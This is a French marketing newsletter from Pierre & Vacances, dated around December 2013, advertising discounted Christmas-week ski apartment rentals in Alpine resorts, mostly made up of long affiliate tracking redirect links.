http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Flocation%252Dvacances%252Dnoel%252Dski%252Dpas%252Dcher%255Fom%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Ffp%255FAVF%252DH%255Flocation%252Dhiver%252Dresidence%252Datria%252Dcrozats%253Fhc%253DAVF25%2526duree%253D7%2526dated%253D2013%252D12%252D21%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Fpremium%252Ffr%252Dfr%252Flocation%252Dhiver%252Darc%252D1950%252Dvillage%255FAWL%252DH%255Ffp%253Fhc%253DAWL24%2526duree%253D7%2526dated%253D2013%252D12%252D21%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Ffp%255FBPL%252DH%255Flocation%252Dhiver%252Dbelle%252Dplagne%252Dconstellations%253Fhc%253DBPL15%2526duree%253D7%2526dated%253D2013%252D12%252D21%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp 1736€ 2170€ Appartement 2 pièces 4/5 pers. La semaine du 21/12: http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Ffp%255FAVF%252DH%255Flocation%252Dhiver%252Dresidence%252Datria%252Dcrozats%253Fhc%253DAVF25%2526duree%253D7%2526dated%253D2013%252D12%252D21%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp 1744€ 2180€ Appartement 2 pièces 4 pers. La semaine du 21/12: http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Fpremium%252Ffr%252Dfr%252Flocation%252Dhiver%252Darc%252D1950%252Dvillage%255FAWL%252DH%255Ffp%253Fhc%253DAWL24%2526duree%253D7%2526dated%253D2013%252D12%252D21%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp 903€ 1290€ Studio 4/5 pers. La semaine du 21/12: http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Ffp%255FBPL%252DH%255Flocation%252Dhiver%252Dbelle%252Dplagne%252Dconstellations%253Fhc%253DBPL15%2526duree%253D7%2526dated%253D2013%252D12%252D21%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp > Je réserve: http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Ffp%255FAVF%252DH%255Flocation%252Dhiver%252Dresidence%252Datria%252Dcrozats%253Fhc%253DAVF25%2526duree%253D7%2526dated%253D2013%252D12%252D21%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp > Je réserve: http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Fpremium%252Ffr%252Dfr%252Flocation%252Dhiver%252Darc%252D1950%252Dvillage%255FAWL%252DH%255Ffp%253Fhc%253DAWL24%2526duree%253D7%2526dated%253D2013%252D12%252D21%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp > Je réserve: http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Ffp%255FBPL%252DH%255Flocation%252Dhiver%252Dbelle%252Dplagne%252Dconstellations%253Fhc%253DBPL15%2526duree%253D7%2526dated%253D2013%252D12%252D21%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Ffp%255FAZA%252DH%255Flocation%252Dhiver%252Dplagne%252Dlauze%253Fhc%253DAZA24%2526duree%253D7%2526dated%253D2013%252D12%252D21%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Ffp%255FAVL%252DH%255Flocation%252Dhiver%252Davoriaz%252Dfalaise%253Fhc%253DAVL15%2526duree%253D7%2526dated%253D2013%252D12%252D21%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Ffp%255FCCA%252DH%255Flocation%252Dhiver%252Dcoches%252Dmarelle%253Fhc%253DCCA24%2526duree%253D7%2526dated%253D2013%252D12%252D21%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp 968€ 1290€ Appartement 2 pièces 4 pers. La semaine du 21/12: http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Ffp%255FAZA%252DH%255Flocation%252Dhiver%252Dplagne%252Dlauze%253Fhc%253DAZA24%2526duree%253D7%2526dated%253D2013%252D12%252D21%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp 1155€ 1470€ Studio 4 pers. La semaine du 21/12: http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Ffp%255FAVL%252DH%255Flocation%252Dhiver%252Davoriaz%252Dfalaise%253Fhc%253DAVL15%2526duree%253D7%2526dated%253D2013%252D12%252D21%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp 945€ 1350€ Appartement 2 pièces 4 pers. La semaine du 21/12: http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Ffp%255FCCA%252DH%255Flocation%252Dhiver%252Dcoches%252Dmarelle%253Fhc%253DCCA24%2526duree%253D7%2526dated%253D2013%252D12%252D21%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp > Je réserve: http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Ffp%255FAZA%252DH%255Flocation%252Dhiver%252Dplagne%252Dlauze%253Fhc%253DAZA24%2526duree%253D7%2526dated%253D2013%252D12%252D21%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp >Je réserve: http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Ffp%255FAVL%252DH%255Flocation%252Dhiver%252Davoriaz%252Dfalaise%253Fhc%253DAVL15%2526duree%253D7%2526dated%253D2013%252D12%252D21%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp > Je réserve: http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Ffp%255FCCA%252DH%255Flocation%252Dhiver%252Dcoches%252Dmarelle%253Fhc%253DCCA24%2526duree%253D7%2526dated%253D2013%252D12%252D21%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Flocation%252Dvacances%252Dnoel%252Dski%252Dpas%252Dcher%255Fom%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Faltfarm.mediaplex.com%2Fad%2Fck%2F10161-62598-23240-493%3Fmpro%3Dhttp%3A%2F%2Fwww.pierreetvacances.com%2Ffr-fr%2Fvacances-noel-ski%2Fs1_om%3Futm_medium%3DCRM%26utm_source%3Demail%26utm_campaign%3DPVNoel%26utm_content%3Dca%26utm_term%3D09112012 : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Faltfarm.mediaplex.com%2Fad%2Fck%2F10161-62598-23240-493%3Fmpro%3Dhttp%3A%2F%2Fwww.pierreetvacances.com%2Ffr-fr%2Fvacances-noel-ski%2Fs1_om%3Futm_medium%3DCRM%26utm_source%3Demail%26utm_campaign%3DPVNoel%26utm_content%3Dca%26utm_term%3D09112012 Distribution de cadeaux par le Père Noël, dans les appartements ou dans le salon de réception le 24/12 au soir et le 25/12. Offrez un moment magique à vos enfants ! En savoir +: http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Flocation%252Dvacances%252Dnoel%252Dski%252Dpas%252Dcher%255Fom%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp Profitez de la fête le 24 décembre autour de menus exceptionnels et de soirées animées sans rien préparer! En savoir +: http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Flocation%252Dvacances%252Dnoel%252Dski%252Dpas%252Dcher%255Fom%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Flocation%252Dski%252Dguide%255Fms%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Flocation%252Dski%252Dnuit%252Dofferte%252D4%255Fom%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Fforfait%252Dski%252Dguide%255Fms%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Fgarantie%252Dassurance%252Dski%252Dguide%255Fms%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Flocation%252Dski%252Dnuit%252Dofferte%252D4%255Fom%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%255Fp%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Fforfait%252Dski%252Dguide%255Fms%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255FODM%255Fnoel%255F021213%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dp Infos & Réservations Restez connecté Mon Espace : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=https%3A%2F%2Fwww.facebook.com%2Fpierreetvacances : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=https%3A%2F%2Ftwitter.com%2FPierre_vacances : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fblog.pierreetvacances.com%2F : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fwww.youtube.com%2Fuser%2Fpierreetvacances : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fpinterest.com%2Fpierrevacances%2F 0892 70 21 80 (0,34 € TTC/min) Lundi - Vendredi : 9h-19h Samedi & Dimanche : 9h-17h - Mes réservations: http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255Fteaser%255Flancement%255Fski%255Fca%26siredirect%3Dhttps%253A%252F%252Fperso%252Epierreetvacances%252Ecom%252Fentrypoint%252F%253Freferer%253Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%2526referer%255Fcode%253Dpv%2526market%255Fcode%253Dfr%2526language%255Fcode%253Dfr%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255Fteaser%255Flancement%255Fski%255Fca%2526utm%255Fterm%253DE13%2526utm%255Fcontent%253Dc - Mes offres du moment: http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255Fteaser%255Flancement%255Fski%255Fca%26siredirect%3Dhttps%253A%252F%252Fperso%252Epierreetvacances%252Ecom%252Fentrypoint%252F%253Freferer%253Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%2526referer%255Fcode%253Dpv%2526market%255Fcode%253Dfr%2526language%255Fcode%253Dfr%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255Fteaser%255Flancement%255Fski%255Fca%2526utm%255Fterm%253DE13%2526utm%255Fcontent%253Dc - Mes newsletters: http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255Fteaser%255Flancement%255Fski%255Fca%26siredirect%3Dhttps%253A%252F%252Fperso%252Epierreetvacances%252Ecom%252Fentrypoint%252F%253Freferer%253Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%2526referer%255Fcode%253Dpv%2526market%255Fcode%253Dfr%2526language%255Fcode%253Dfr%2526utm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255Fteaser%255Flancement%255Fski%255Fca%2526utm%255Fterm%253DE13%2526utm%255Fcontent%253Dc : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255Fecard%255Fil%255Fneige%255F211113%255Fc%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Finfos%252Dsejours%252Dhebergement%255Fms%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255Fecard%255Fil%255Fneige%255F211113%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dc : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255Fecard%255Fil%255Fneige%255F211113%255Fc%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Finfos%252Dsejours%252Dhebergement%255Fms%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255Fecard%255Fil%255Fneige%255F211113%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dc : 